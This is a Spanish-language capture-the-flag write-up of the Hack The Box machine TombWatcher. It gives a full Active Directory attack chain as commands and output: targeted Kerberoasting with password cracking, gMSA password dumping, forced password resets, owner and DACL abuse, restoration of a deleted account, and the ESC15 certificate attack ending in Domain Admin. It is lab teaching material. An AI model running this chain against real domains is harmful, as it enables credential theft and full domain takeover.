Descripción
TombWatcher es una máquina de Hack The Box de dificultad media que cuenta con las siguientes vulnerabilidades:
- Acceso inicial mediante un escenario de brecha asumida que conduce a la enumeración del dominio
- El usuario controlado tiene permiso
WriteSPNsobre otro usuario, lo que permite el pivote de usuario mediante un ataque de Kerberoast dirigido - El usuario puede agregarse a sí mismo a un grupo con el permiso
ReadGMSAPasswordsobre una cuenta de servicio, lo que permite el pivote de usuario - La cuenta de servicio tiene permiso
ForceChangePasswordsobre una cuenta de usuario, lo que permite cambiar la contraseña del usuario y el pivote de usuario - La siguiente cuenta de usuario tiene permiso
WriteOwnersobre otro usuario, lo que permite cambiar al propietario, las opciones y la contraseña del usuario capaz de acceder remotamente a la máquina remota - Recuperación de cuenta eliminada del Servicio de Certificados del Directorio Activo mediante la papelera de reciclaje de AD
- Una de las cuentas controladas tiene permiso
GenericAllsobre la cuenta de ADCS, lo que permite un control completo - Escalada de privilegios a través de la vulnerabilidad ESC15 del Servicio de Certificados de Active Directory
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.44.254.
$ ping -c 3 10.129.44.254
PING 10.129.44.254 (10.129.44.254) 56(84) bytes of data.
64 bytes from 10.129.44.254: icmp_seq=1 ttl=127 time=45.3 ms
64 bytes from 10.129.44.254: icmp_seq=2 ttl=127 time=45.9 ms
64 bytes from 10.129.44.254: icmp_seq=3 ttl=127 time=44.5 ms
--- 10.129.44.254 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 44.518/45.268/45.941/0.583 ms
La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.44.254 -sS -Pn -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.44.254
Host is up (0.046s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
Nmap done: 1 IP address (1 host up) scanned in 4.37 seconds
Obtenemos muchos puertos abiertos, tal vez relacionados con un entorno Active Directory.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.44.254 -Pn -sV -sC -p53,80,88,135,139,389,445,464,593,636,3268,3269 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.44.254
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4h00m00s, deviation: 0s, median: 3h59m59s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.14 seconds
Obtenemos los servicios relacionados con un Directorio Activo, específicamente el Controlador de Dominio DC01.tombwatcher.htb. Agregamos los hosts a nuestro archivo local /etc/hosts.️
$ echo "10.129.44.254 tombwatcher.htb" | sudo tee -a /etc/hosts
$ echo "10.129.44.254 DC01.tombwatcher.htb" | sudo tee -a /etc/hosts
Tenemos las credenciales del usuario henry, H3nry_987TGV!, como una brecha asumida, por lo que vamos a empezar enumerando a los usuarios y las recursos de red SMB.
$ netexec smb 10.129.44.254 -u henry -p 'H3nry_987TGV!' --users --shares
SMB 10.129.44.254 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.129.44.254 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
SMB 10.129.44.254 445 DC01 [*] Enumerated shares
SMB 10.129.44.254 445 DC01 Share Permissions Remark
SMB 10.129.44.254 445 DC01 ----- ----------- ------
SMB 10.129.44.254 445 DC01 ADMIN$ Remote Admin
SMB 10.129.44.254 445 DC01 C$ Default share
SMB 10.129.44.254 445 DC01 IPC$ READ Remote IPC
SMB 10.129.44.254 445 DC01 NETLOGON READ Logon server share
SMB 10.129.44.254 445 DC01 SYSVOL READ Logon server share
SMB 10.129.44.254 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.44.254 445 DC01 Administrator 2025-04-25 14:56:03 0 Built-in account for administering the computer/domain
SMB 10.129.44.254 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.129.44.254 445 DC01 krbtgt 2024-11-16 00:02:28 0 Key Distribution Center Service Account
SMB 10.129.44.254 445 DC01 Henry 2025-05-12 15:17:03 0
SMB 10.129.44.254 445 DC01 Alfred 2025-05-12 15:17:03 0
SMB 10.129.44.254 445 DC01 sam 2025-05-12 15:17:03 0
SMB 10.129.44.254 445 DC01 john 2025-05-19 13:25:10 0
SMB 10.129.44.254 445 DC01 [*] Enumerated 7 local users: TOMBWATCHER
Encontramos siete usuarios: Administrator, Guest, krbtgt, Henry, Alfred, sam y john. Antes de continuar, necesitamos sincronizar el reloj de nuestro sistema con el reloj del Controlador de Dominio. Vamos a detener la sincronización con el servidor NTP por defecto.
$ sudo timedatectl set-ntp off
$ sudo rdate -n tombwatcher.htb
Enumeramos el dominio con la herramienta bloodhound.
$ bloodhound-python -d tombwatcher.htb -v --zip -c All -dc DC01.tombwatcher.htb -u 'henry' -p 'H3nry_987TGV!' -ns 10.129.44.254
Encontramos que el usuario que controlamos, Henry, tiene permisos de escritura sobre el atributo serviceprincipalname del usuario Alfred.
Esto significa que podemos realizar ataques de Kerberoast dirigidos que nos permitirán recuperar la clave hash de Kerberos del usuario.
Explotación
Usaremos el script targetedKerberoast.py.
$ wget https://github.com/ShutdownRepo/targetedKerberoast/raw/refs/heads/main/targetedKerberoast.py
$ python targetedKerberoast.py -d 'tombwatcher.htb' -u henry -p 'H3nry_987TGV!'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$c31db944678dd5abac07019453266659$4851881480a3d160b7136f509a980ece7bd9d808a190e180405b8b83b8093cd0d326eca12c1c99cc35453e78e6beb1bb4821a508e2f0e2e759a7ecaccf4d9e6e4b4681574862451f...d9b6abafb665acdcdb2268ee5f9bb8a432d80131541de609bcbc3eb05ea3
Obtenemos el hash, por lo que recuperamos la contraseña utilizando la herramienta John The Ripper.
$ john --wordlist=/usr/share/wordlists/rockyou.txt alfred_hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
basketball (alfred)
1g 0:00:00:00 DONE 25.00g/s 102400p/s 102400c/s 102400C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Obtenemos la contraseña para el usuario Alfred, basketball. Al regresar a bloodhound, encontramos que el usuario Alfred puede agregarse a sí mismo al grupo de Infrastructure mediante la autorización AddSelf.
Vamos a agregar el usuario Alfred al grupo Infrastructure utilizando el script addusertogroup.py.
$ wget https://github.com/juliourena/ActiveDirectoryScripts/raw/refs/heads/main/Python/addusertogroup.py
$ python addusertogroup.py -d tombwatcher.htb -g Infrastructure -a alfred -u alfred -p basketball
Luego encontramos que los usuarios del grupo de Infrastructure pueden recuperar la contraseña para la cuenta GMSA (Group Managed Service Account) ansible_dev$ mediante el permiso ReadGMSAPassword. Los cuentas GMSA son un tipo especial de objeto en Active Directory, donde la contraseña para ese objeto es administrada y automáticamente cambiada por los Controladores de Dominio.
Las cuentas GMSA existen para permitir que ciertas cuentas del sistema puedan recuperar la contraseña del GMSA, luego ejecutar servicios locales como el GMSA. Vamos a utilizar gMSADumper para recuperar el hash NTLM de la cuenta ansible_dev$.
$ git clone https://github.com/micahvandeusen/gMSADumper
$ cd gMSADumper
$ python gMSADumper.py -u alfred -p basketball -d tombwatcher.htb
Users or groups who can read password for ansible_dev$:
> Infrastructure
ansible_dev$:::1c37d00093dc2a5f25176bf2d474afdc
ansible_dev$:aes256-cts-hmac-sha1-96:526688ad2b7ead7566b70184c518ef665cc4c0215a1d634ef5f5bcda6543b5b3
ansible_dev$:aes128-cts-hmac-sha1-96:91366223f82cd8d39b0e767f0061fd9a
Obtenemos el hash NTLM para la cuenta ansible_dev$, que es 1c37d00093dc2a5f25176bf2d474afdc. Al enumerar, encontramos que la GMSA de ansible_dev$ puede cambiar la contraseña del usuario sam mediante el permiso ForceChangePassword.
Podemos modificar la contraseña utilizando la herramienta net.
$ net rpc password "sam" "newpassword_123" -U "TOMBWATCHER"/"ansible_dev$"%"1c37d00093dc2a5f25176bf2d474afdc" --pw-nt-hash -S "dc01.tombwatcher.htb"
Con la cuenta sam en propiedad, encontramos que el usuario tiene permiso WriteOwner sobre el usuario john. Esto significa que podemos cambiar el propietario del usuario a una cuenta que controlamos y luego cambiaremos la contraseña del usuario john. Comenzamos cambiando el propietario a la cuenta sam.
$ impacket-owneredit -action write -new-owner 'sam' -target 'john' 'tombwatcher.htb'/'sam':'newpassword_123'
Antes de cambiar la contraseña, necesitaremos tener permisos completos sobre el objeto del usuario. Para ello modificaremos la lista de control de acceso (DACL).
$ impacket-dacledit -action 'write' -rights 'FullControl' -principal 'sam' -target 'john' 'tombwatcher.htb'/'sam':'newpassword_123'
Finalmente, podremos cambiar la contraseña del usuario john.
$ net rpc password "john" "newpassword_123" -U "TOMBWATCHER"/"sam"%"newpassword_123" -S "dc01.tombwatcher.htb"
Encontramos que el usuario john es miembro del grupo de usuarios de administración remota. Esto significa que podemos crear una sesión remota en la máquina controladora del dominio.
Creamos la sesión remota utilizando la herramienta evil-winrm.
$ evil-winrm -i tombwatcher.htb -u 'john' -p 'newpassword_123'
*Evil-WinRM* PS C:\Users\john\Documents> whoami
tombwatcher\john
Post-Explotación
Como sugiere el nombre de la máquina, TombWatcher, vamos a buscar “tumbas” o elementos eliminados, específicamente de Active Directory, utilizando Get-ADObject en una sesión remota. Es posible recuperar objetos AD eliminados si se ha habilitado la opción de la papelera de reciclaje. Vamos a especificar el parámetro -IncludeDeletedObjects y el filtro 'isDeleted -eq $true' para mostrar solo los objetos eliminados.
*Evil-WinRM* PS C:\Users\john\Documents> Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects
Deleted : True
DistinguishedName : CN=Deleted Objects,DC=tombwatcher,DC=htb
Name : Deleted Objects
ObjectClass : container
ObjectGUID : 34509cb3-2b23-417b-8b98-13f0bd953319
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectClass : user
ObjectGUID : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectClass : user
ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectClass : user
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
Encontramos una cuenta eliminada llamada cert_admin. Parece estar relacionada con los Servicios de Certificados de Active Directory (ADCS). La restauramos utilizando la herramienta Restore-ADObject especificando el GUID mediante el parámetro -Identity.
*Evil-WinRM* PS C:\Users\john> Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"
Encontramos que la cuenta ha sido restaurada.
*Evil-WinRM* PS C:\Users\john\Documents> Get-ADUser cert_admin
DistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb
Enabled : True
GivenName : cert_admin
Name : cert_admin
ObjectClass : user
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
SamAccountName : cert_admin
SID : S-1-5-21-1392491010-1358638721-2126982587-1111
Surname : cert_admin
UserPrincipalName :
Reiniciamos el análisis con bloodhound para verificar esta nueva cuenta.
$ bloodhound-python -d tombwatcher.htb -v --zip -c All -dc DC01.tombwatcher.htb -u 'henry' -p 'H3nry_987TGV!' -ns 10.129.44.254
En la sección de Inbound Control Rights encontramos que el usuario john tiene permiso GenericAll sobre la cuenta cert_admin, lo que significa que podemos cambiar su contraseña como hicimos anteriormente.
$ net rpc password "cert_admin" "newpassword_123" -U "TOMBWATCHER"/"john"%"newpassword_123" -S "dc01.tombwatcher.htb"
También encontramos que la cuenta cert_admin está contenida en el Unidad Organizacional (OU) ADCS, lo que significa que esta cuenta puede interactuar con los Servicios de Certificados de Active Directory.
Vamos a buscar vulnerabilidades en los ADCS utilizando la herramienta certipy.
$ certipy-ad find -username cert_admin@tombwatcher.htb -password 'newpassword_123' -vulnerable -stdout
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: TOMBWATCHER.HTB.
[!] Use -debug to print a stacktrace
...
[*] Enumeration output:
Certificate Authorities
0
CA Name : tombwatcher-CA-1
DNS Name : DC01.tombwatcher.htb
Certificate Subject : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb
Certificate Serial Number : 3428A7FC52C310B2460F8440AA8327AC
Certificate Validity Start : 2024-11-16 00:47:48+00:00
Certificate Validity End : 2123-11-16 00:57:48+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : TOMBWATCHER.HTB\Administrators
Access Rights
ManageCa : TOMBWATCHER.HTB\Administrators
TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
ManageCertificates : TOMBWATCHER.HTB\Administrators
TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Enroll : TOMBWATCHER.HTB\Authenticated Users
Certificate Templates
0
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 2 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-16T00:57:49+00:00
Template Last Modified : 2024-11-16T17:07:26+00:00
Permissions
Enrollment Permissions
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
Object Control Permissions
Owner : TOMBWATCHER.HTB\Enterprise Admins
Full Control Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Owner Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
[+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1.
[*] Remarks
ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
La plantilla de certificado WebServer de la Autoridad de Certificación tombwatcher-CA-1 es vulnerable al ataque ESC15, referenciado por CVE-2024-49019. Este ataque permite a un atacante inyectar políticas de aplicación arbitrarias en un certificado emitido desde una plantilla de certificado de versión 1 (Esquema V1). Si la AC no ha sido actualizada con los patches de seguridad relevantes (Nov. 2024), incluirá incorrectamente estas políticas de aplicación proporcionadas por el atacante en el certificado emitido. Basándose en la comprensión actual y los detalles del exploit, esta vulnerabilidad parece afectar principalmente plantillas de versión 1 que también tienen habilitado el ajuste “El solicitante proporciona el sujeto” (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT).
Empezamos solicitando un certificado, inyectando la política de aplicación “Autenticación del cliente” y apuntando a UPN. El objetivo es el usuario administrador de dominio administrator@tombwatcher.htb. Comenzamos identificando el SID del administrador en bloodhound, Node Properties > Object ID, S-1-5-21-1392491010-1358638721-2126982587-500.
$ certipy-ad req \
-u 'cert_admin@tombwatcher.htb' -p 'newpassword_123' \
-dc-ip '10.129.44.254' -target 'tombwatcher.htb' \
-ca 'tombwatcher-CA-1' -template 'WebServer' \
-upn 'administrator@tombwatcher.htb' -sid 'S-1-5-21-1392491010-1358638721-2126982587-500' \
-application-policies 'Client Authentication'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Ahora, con el certificado de administrador, podremos lanzar una consola LDAP. Dentro de esta consola podremos agregar cualquier usuario al grupo Domain Admins (administradores del dominio). Agregaremos al usuario controlado john.
$ certipy-ad auth -pfx 'administrator.pfx' -dc-ip '10.129.44.254' -ldap-shell 130 ↵
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@tombwatcher.htb'
[*] SAN URL SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Connecting to 'ldaps://10.129.44.254:636'
[*] Authenticated to '10.129.44.254' as: 'u:TOMBWATCHER\\Administrator'
Type help for list of commands
# add_user_to_group john 'Domain Admins'
Adding user: john to group Domain Admins result: OK
Después de volver a iniciar sesión, encontramos que efectivamente somos parte del grupo Domain Admins.
$ evil-winrm -i tombwatcher.htb -u 'john' -p 'newpassword_123'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\john\Documents> net user john
User name john
Full Name
...
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users *Domain Admins
The command completed successfully.
Flags
Con el usuario agregado al grupo Domain Admins, podemos recuperar las flags de user.txt y root.txt.
*Evil-WinRM* PS C:\Users\john\Documents> type C:\Users\john\Desktop\user.txt
<REDACTED>
*Evil-WinRM* PS C:\Users\john\Documents> type C:\Users\Administrator\Desktop\root.txt
<REDACTED>